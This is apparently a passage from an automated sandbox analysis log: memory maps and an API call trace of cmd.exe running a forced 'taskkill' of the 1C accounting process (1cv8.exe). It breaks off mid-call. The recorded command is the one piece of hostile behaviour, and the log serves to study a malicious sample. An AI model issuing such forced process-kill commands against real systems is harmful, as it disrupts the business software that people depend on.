"pagefile_0x0000000000920000" filename = "" Region: id = 2232 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2233 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2234 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2235 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 2236 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 2237 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 2238 start_va = 0xab0000 end_va = 0xc30fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ab0000" filename = "" Region: id = 2239 start_va = 0xc40000 end_va = 0x203ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c40000" filename = "" Region: id = 2240 start_va = 0x2040000 end_va = 0x2382fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002040000" filename = "" Region: id = 2241 start_va = 0x2390000 end_va = 0x265efff entry_point = 0x2390000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 92 os_tid = 0x710 [0046.369] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x39f9c4 | out: lpSystemTimeAsFileTime=0x39f9c4*(dwLowDateTime=0xda5f6ce0, dwHighDateTime=0x1d4abdd)) [0046.369] GetCurrentProcessId () returned 0x704 [0046.369] GetCurrentThreadId () returned 0x710 [0046.369] GetTickCount () returned 0x1ab6b [0046.369] QueryPerformanceCounter (in: lpPerformanceCount=0x39f9bc | out: lpPerformanceCount=0x39f9bc*=1812159900000) returned 1 [0046.370] GetModuleHandleA (lpModuleName=0x0) returned 0x4a270000 [0046.370] __set_app_type (_Type=0x1) [0046.370] __p__fmode () returned 0x75ed31f4 [0046.370] __p__commode () returned 0x75ed31fc [0046.371] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a2921a6) returned 0x0 [0046.371] __getmainargs (in: _Argc=0x4a294238, _Argv=0x4a294240, _Env=0x4a29423c, _DoWildCard=0, _StartInfo=0x4a294140 | out: _Argc=0x4a294238, _Argv=0x4a294240, _Env=0x4a29423c) returned 0 [0046.371] GetCurrentThreadId () returned 0x710 [0046.371] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x710) returned 0x60 [0046.371] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0046.371] GetProcAddress (hModule=0x75a20000, lpProcName="SetThreadUILanguage") returned 0x75a4a84f [0046.371] SetThreadUILanguage (LangId=0x0) returned 0x409 [0046.372] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0046.372] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x39f954 | out: phkResult=0x39f954*=0x0) returned 0x2 [0046.372] VirtualQuery (in: lpAddress=0x39f98b, lpBuffer=0x39f924, dwLength=0x1c | out: lpBuffer=0x39f924*(BaseAddress=0x39f000, AllocationBase=0x2a0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0046.372] VirtualQuery (in: lpAddress=0x2a0000, lpBuffer=0x39f924, dwLength=0x1c | out: lpBuffer=0x39f924*(BaseAddress=0x2a0000, AllocationBase=0x2a0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0046.372] VirtualQuery (in: lpAddress=0x2a1000, lpBuffer=0x39f924, dwLength=0x1c | out: lpBuffer=0x39f924*(BaseAddress=0x2a1000, AllocationBase=0x2a0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0046.372] VirtualQuery (in: lpAddress=0x2a3000, lpBuffer=0x39f924, dwLength=0x1c | out: lpBuffer=0x39f924*(BaseAddress=0x2a3000, AllocationBase=0x2a0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0046.372] VirtualQuery (in: lpAddress=0x3a0000, lpBuffer=0x39f924, dwLength=0x1c | out: lpBuffer=0x39f924*(BaseAddress=0x3a0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x140000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0046.372] GetConsoleOutputCP () returned 0x1b5 [0046.372] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a294260 | out: lpCPInfo=0x4a294260) returned 1 [0046.372] SetConsoleCtrlHandler (HandlerRoutine=0x4a28e72a, Add=1) returned 1 [0046.372] _get_osfhandle (_FileHandle=1) returned 0x7 [0046.372] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0046.373] _get_osfhandle (_FileHandle=1) returned 0x7 [0046.373] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a2941ac | out: lpMode=0x4a2941ac) returned 1 [0046.373] _get_osfhandle (_FileHandle=1) returned 0x7 [0046.373] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0046.373] _get_osfhandle (_FileHandle=0) returned 0x3 [0046.373] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a2941b0 | out: lpMode=0x4a2941b0) returned 1 [0046.373] _get_osfhandle (_FileHandle=0) returned 0x3 [0046.373] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0046.373] GetEnvironmentStringsW () returned 0x6b2b28* [0046.374] FreeEnvironmentStringsW (penv=0x6b2b28) returned 1 [0046.374] GetEnvironmentStringsW () returned 0x6b2b28* [0046.374] FreeEnvironmentStringsW (penv=0x6b2b28) returned 1 [0046.374] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x39e8c4 | out: phkResult=0x39e8c4*=0x6c) returned 0x0 [0046.374] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x39e8cc, lpData=0x39e8d0, lpcbData=0x39e8c8*=0x1000 | out: lpType=0x39e8cc*=0x0, lpData=0x39e8d0*=0x32, lpcbData=0x39e8c8*=0x1000) returned 0x2 [0046.374] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x39e8cc, lpData=0x39e8d0, lpcbData=0x39e8c8*=0x1000 | out: lpType=0x39e8cc*=0x4, lpData=0x39e8d0*=0x1, lpcbData=0x39e8c8*=0x4) returned 0x0 [0046.374] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x39e8cc, lpData=0x39e8d0, lpcbData=0x39e8c8*=0x1000 | out: lpType=0x39e8cc*=0x0, lpData=0x39e8d0*=0x1, lpcbData=0x39e8c8*=0x1000) returned 0x2 [0046.374] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x39e8cc, lpData=0x39e8d0, lpcbData=0x39e8c8*=0x1000 | out: lpType=0x39e8cc*=0x4, lpData=0x39e8d0*=0x0, lpcbData=0x39e8c8*=0x4) returned 0x0 [0046.374] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x39e8cc, lpData=0x39e8d0, lpcbData=0x39e8c8*=0x1000 | out: lpType=0x39e8cc*=0x4, lpData=0x39e8d0*=0x40, lpcbData=0x39e8c8*=0x4) returned 0x0 [0046.374] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x39e8cc, lpData=0x39e8d0, lpcbData=0x39e8c8*=0x1000 | out: lpType=0x39e8cc*=0x4, lpData=0x39e8d0*=0x40, lpcbData=0x39e8c8*=0x4) returned 0x0 [0046.374] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x39e8cc, lpData=0x39e8d0, lpcbData=0x39e8c8*=0x1000 | out: lpType=0x39e8cc*=0x0, lpData=0x39e8d0*=0x40, lpcbData=0x39e8c8*=0x1000) returned 0x2 [0046.374] RegCloseKey (hKey=0x6c) returned 0x0 [0046.374] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x39e8c4 | out: phkResult=0x39e8c4*=0x6c) returned 0x0 [0046.375] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x39e8cc, lpData=0x39e8d0, lpcbData=0x39e8c8*=0x1000 | out: lpType=0x39e8cc*=0x0, lpData=0x39e8d0*=0x40, lpcbData=0x39e8c8*=0x1000) returned 0x2 [0046.375] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x39e8cc, lpData=0x39e8d0, lpcbData=0x39e8c8*=0x1000 | out: lpType=0x39e8cc*=0x4, lpData=0x39e8d0*=0x1, lpcbData=0x39e8c8*=0x4) returned 0x0 [0046.375] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x39e8cc, lpData=0x39e8d0, lpcbData=0x39e8c8*=0x1000 | out: lpType=0x39e8cc*=0x0, lpData=0x39e8d0*=0x1, lpcbData=0x39e8c8*=0x1000) returned 0x2 [0046.375] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x39e8cc, lpData=0x39e8d0, lpcbData=0x39e8c8*=0x1000 | out: lpType=0x39e8cc*=0x4, lpData=0x39e8d0*=0x0, lpcbData=0x39e8c8*=0x4) returned 0x0 [0046.375] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x39e8cc, lpData=0x39e8d0, lpcbData=0x39e8c8*=0x1000 | out: lpType=0x39e8cc*=0x4, lpData=0x39e8d0*=0x9, lpcbData=0x39e8c8*=0x4) returned 0x0 [0046.375] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x39e8cc, lpData=0x39e8d0, lpcbData=0x39e8c8*=0x1000 | out: lpType=0x39e8cc*=0x4, lpData=0x39e8d0*=0x9, lpcbData=0x39e8c8*=0x4) returned 0x0 [0046.375] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x39e8cc, lpData=0x39e8d0, lpcbData=0x39e8c8*=0x1000 | out: lpType=0x39e8cc*=0x0, lpData=0x39e8d0*=0x9, lpcbData=0x39e8c8*=0x1000) returned 0x2 [0046.375] RegCloseKey (hKey=0x6c) returned 0x0 [0046.375] time (in: timer=0x0 | out: timer=0x0) returned 0x5c3c3f54 [0046.375] srand (_Seed=0x5c3c3f54) [0046.375] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c taskkill /im 1cv8.exe /T /F" [0046.375] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c taskkill /im 1cv8.exe /T /F" [0046.375] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a295260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0046.375] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6b4bb8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0046.375] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a2a0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0046.375] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a2a0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0046.376] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a2a0640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0046.376] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0046.376] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0046.376] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0046.376] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0046.376] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0046.376] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0046.376] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0046.376] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0046.376] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0046.376] GetEnvironmentStringsW () returned 0x6b2b28* [0046.376] FreeEnvironmentStringsW (penv=0x6b2b28) returned 1 [0046.376] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a2a0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0046.376] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a2a0640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0046.376] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0046.376] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0046.376] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0046.376] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0046.376] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0046.376] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0046.376] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0046.376] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0046.376] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x39f690 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0046.377] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x39f690, lpFilePart=0x39f68c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x39f68c*="Desktop") returned 0x25 [0046.377] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0046.377] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x39f40c | out: lpFindFileData=0x39f40c) returned 0x6b1dc0 [0046.377] FindClose (in: hFindFile=0x6b1dc0 | out: hFindFile=0x6b1dc0) returned 1 [0046.377] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x39f40c | out: lpFindFileData=0x39f40c) returned 0x6b1dc0 [0046.377] FindClose (in: hFindFile=0x6b1dc0 | out: hFindFile=0x6b1dc0) returned 1 [0046.377] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0046.377] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x39f40c | out: lpFindFileData=0x39f40c) returned 0x6b1dc0 [0046.377] FindClose (in: hFindFile=0x6b1dc0 | out: hFindFile=0x6b1dc0) returned 1 [0046.377] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0046.377] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0046.377] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0046.377] GetEnvironmentStringsW () returned 0x6b2b28* [0046.378] FreeEnvironmentStringsW (penv=0x6b2b28) returned 1 [0046.378] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a295260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0046.378] GetConsoleOutputCP () returned 0x1b5 [0046.378] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a294260 | out: lpCPInfo=0x4a294260) returned 1 [0046.378] GetUserDefaultLCID () returned 0x409 [0046.379] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a294950, cchData=8 | out: lpLCData=":") returned 2 [0046.379] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x39f7d0, cchData=128 | out: lpLCData="0") returned 2 [0046.379] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x39f7d0, cchData=128 | out: lpLCData="0") returned 2 [0046.379] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x39f7d0, cchData=128 | out: lpLCData="1") returned 2 [0046.379] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a294940, cchData=8 | out: lpLCData="/") returned 2 [0046.379] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a294d80, cchData=32 | out: lpLCData="Mon") returned 4 [0046.379] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a294d40, cchData=32 | out: lpLCData="Tue") returned 4 [0046.379] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a294d00, cchData=32 | out: lpLCData="Wed") returned 4 [0046.379] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a294cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0046.379] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a294c80, cchData=32 | out: lpLCData="Fri") returned 4 [0046.379] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a294c40, cchData=32 | out: lpLCData="Sat") returned 4 [0046.379] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a294c00, cchData=32 | out: lpLCData="Sun") returned 4 [0046.379] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a294930, cchData=8 | out: lpLCData=".") returned 2 [0046.379] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a294920, cchData=8 | out: lpLCData=",") returned 2 [0046.379] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0046.380] GetConsoleTitleW (in: lpConsoleTitle=0x6b5908, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0046.380] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0046.380] GetProcAddress (hModule=0x75a20000, lpProcName="CopyFileExW") returned 0x75a53b92 [0046.381] GetProcAddress (hModule=0x75a20000, lpProcName="IsDebuggerPresent") returned 0x75a34a5d [0046.381] GetProcAddress (hModule=0x75a20000, lpProcName="SetConsoleInputExeNameW") returned 0x75a4a79d [0046.382] _wcsicmp (_String1="taskkill", _String2=")") returned 75 [0046.382] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14 [0046.382] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14 [0046.382] _wcsicmp (_String1="IF", _String2="taskkill") returned -11 [0046.382] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11 [0046.382] _wcsicmp (_String1="REM", _String2="taskkill") returned -2 [0046.382] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2 [0046.383] GetConsoleTitleW (in: lpConsoleTitle=0x39f4c8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0046.384] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16 [0046.384] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15 [0046.384] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16 [0046.384] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24 [0046.384] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17 [0046.384] _wcsicmp (_String1="taskkill", _String2="CD") returned 17 [0046.384] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17 [0046.384] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2 [0046.384] _wcsicmp (_String1="taskkill", _String2="REN") returned 2 [0046.384] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15 [0046.384] _wcsicmp (_String1="taskkill", _String2="SET") returned 1 [0046.384] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4 [0046.384] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16 [0046.384] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8 [0046.384] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4 [0046.384] _wcsicmp (_String1="taskkill", _String2="MD") returned 7 [0046.384] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7 [0046.384] _wcsicmp (_String1="taskkill", _String2="RD") returned 2 [0046.384] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2 [0046.384] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4 [0046.384] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13 [0046.384] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1 [0046.384] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17 [0046.384] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17 [0046.384] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2 [0046.384] _wcsicmp (_String1="taskkill", _String2="VER") returned -2 [0046.384] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2 [0046.384] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15 [0046.384] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1 [0046.384] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15 [0046.384] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8 [0046.384] _wcsicmp (_String1="taskkill", _String2="START") returned 1 [0046.384] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16 [0046.384] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9 [0046.385] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7 [0046.385] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4 [0046.385] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4 [0046.385] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19 [0046.385] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14 [0046.385] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18 [0046.385] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17 [0046.385] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7 [0046.385] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16 [0046.385] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15 [0046.385] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16 [0046.385] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24 [0046.385] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17 [0046.385] _wcsicmp (_String1="taskkill", _String2="CD") returned 17 [0046.385] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17 [0046.385] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2 [0046.385] _wcsicmp (_String1="taskkill", _String2="REN") returned 2 [0046.385] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15 [0046.385] _wcsicmp (_String1="taskkill", _String2="SET") returned 1 [0046.385] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4 [0046.385] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16 [0046.385] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8 [0046.385] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4 [0046.385] _wcsicmp (_String1="taskkill", _String2="MD") returned 7 [0046.385] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7 [0046.385] _wcsicmp (_String1="taskkill", _String2="RD") returned 2 [0046.385] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2 [0046.385] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4 [0046.385] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13 [0046.385] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1 [0046.385] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17 [0046.385] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17 [0046.385] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2 [0046.385] _wcsicmp (_String1="taskkill", _String2="VER") returned -2 [0046.385] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2 [0046.385] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15 [0046.385] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1 [0046.385] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15 [0046.385] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8 [0046.385] _wcsicmp (_String1="taskkill", _String2="START") returned 1 [0046.386] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16 [0046.386] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9 [0046.386] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7 [0046.386] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4 [0046.386] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4 [0046.386] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19 [0046.386] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14 [0046.386] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18 [0046.386] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17 [0046.386] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7 [0046.386] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14 [0046.386] _wcsicmp (_String1="taskkill", _String2="IF") returned 11 [0046.386] _wcsicmp (_String1="taskkill", _String2="REM") returned 2 [0046.386] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17 [0046.386] SetErrorMode (uMode=0x0) returned 0x0 [0046.387] SetErrorMode (uMode=0x1) returned 0x0 [0046.387] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x6b5dc8, lpFilePart=0x39efe8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x39efe8*="Desktop") returned 0x25 [0046.387] SetErrorMode (uMode=0x0) returned 0x1 [0046.387] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a2a0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0046.387] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0046.392] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a2a0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0046.393] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0046.393] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x39ed64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x39ed64) returned 0xffffffff [0046.393] GetLastError () returned 0x2 [0046.393] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x39ed64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x39ed64) returned 0xffffffff [0046.393] GetLastError () returned 0x2 [0046.393] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0046.393] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x39ed64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x39ed64) returned 0x6b6108 [0046.393] FindClose (in: hFindFile=0x6b6108 | out: hFindFile=0x6b6108) returned 1 [0046.393] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x39ed64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: 